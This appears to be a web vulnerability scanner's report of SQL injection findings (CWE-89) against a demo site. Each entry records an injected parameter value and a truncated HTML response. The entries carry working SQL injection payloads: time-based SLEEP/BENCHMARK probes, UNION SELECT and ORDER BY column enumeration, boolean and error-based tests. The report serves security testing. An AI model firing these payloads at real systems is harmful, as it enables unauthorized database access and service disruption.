BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1287
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# (SELECT * FROM (SELECT(SLEEP(5)))ecMj)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1288
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# ")) or sleep(5)="
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1289
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1290
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1291
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' or ''*'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1292
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1293Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1294
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 1' GROUP BY 1,2,--+
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1295
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+
CHAR(88)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1296
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# ORDER BY 17--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1297
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# RLIKE (SELECT (CASE WHEN (4346=4347) THEN 
0x61646d696e ELSE 0x28 END)) AND 'Txws'='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1298
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 31337--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1299
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1300
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1301
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# or true--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
